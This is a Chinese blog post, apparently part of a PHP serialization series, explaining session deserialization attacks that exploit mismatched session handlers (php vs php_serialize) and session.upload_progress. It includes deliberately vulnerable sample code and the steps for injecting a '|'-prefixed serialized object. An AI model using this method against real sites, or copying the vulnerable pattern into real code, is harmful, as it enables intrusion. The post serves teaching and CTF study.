session反序列化的漏洞是由三种不同的反序列化引擎所产生的的漏洞

  • php_binary 存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

  • php 存储方式是,键名+竖线+经过serialize()函数序列处理的值

  • php_serialize(php>5.5.4) 存储方式是,经过serialize()函数序列化处理的值

三种引擎的存储格式:

php : a|s:3:"wzk";
php_serialize : a:1:{s:1:"a";s:3:"wzk";}
php_binary : as:3:"wzk";

样例源码

<?php
//ini_set('session.serialize_handler', 'php');
ini_set("session.serialize_handler", "php_serialize");
//ini_set("session.serialize_handler", "php_binary");
session_start();
$_SESSION['lemon'] = $_GET['a'];
echo "";
var_dump($_SESSION);
echo "";
?>
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class student{
var $name;
var $age;
function __wakeup(){
echo "hello ".$this->name."!";
}
}
?>

攻击思路:

首先访问1.php,在传入的参数最开始加一个’|‘,由于1.php是使用php_serialize引擎处理,因此只会把’|‘当做一个正常的字符。然后访问2.php,由于用的是php引擎,因此遇到’|‘时会将之看做键名与值的分割符,从而造成了歧义,导致其在解析session文件时直接对’|‘后的值进行反序列化处理。

这里可能会有一个小疑问,为什么在解析session文件时直接对’|‘后的值进行反序列化处理,这也是处理器的功能?这个其实是因为session_start()这个函数,可以看下官方说明:

session_start () 会创建新会话或者重用现有会话。如果通过 GET 或者 POST 方式,或者使用 cookie 提交了会话 ID,则会重用现有会话。
当会话自动开始或者通过 session_start () 手动开始的时候,PHP 内部会调用会话管理器的 open 和 read 回调函数。会话管理器可能是 PHP 默认的,也可能是扩展提供的(SQLite 或者 Memcached 扩展),也可能是通过 session_set_save_handler () 设定的用户自定义会话管理器。通过 read 回调函数返回的现有会话数据(使用特殊的序列化格式存储),PHP 会自动反序列化数据并且填充 $_SESSION 超级全局变量。

3. 利用session.upload_progress进行反序列化攻击#

在PHP中还存在一个upload_process机制,即自动在$_SESSION中创建一个键值对,值中刚好存在用户可控的部分,可以看下官方描述的,这个功能在文件上传的过程中利用session实时返回上传的进度。 [session上传进度.png] 当题目中没有上面类似于PHP1写入$_SESSION全局变量时,可以利用session.upload_progress进行反序列化攻击。这种攻击方法与上一部分基本相同,不过这里需要先上传文件,同时POST一个与session.upload_process.name的同名变量(一般为PHP_SESSION_UPLOAD_PROGRESS)。后端会自动将POST的这个同名变量作为键进行序列化然后存储到session文件中。下次请求就会反序列化session文件,从中取出这个键。所以攻击点还是跟上一部分一模一样,程序还是使用了不同的session处理引擎。

PHP序列化与反序列化
https://fuwari.vercel.app/posts/serialize-unserialize/
作者
BIG熙
发布于
2026-02-22
许可协议
CC BY-NC-SA 4.0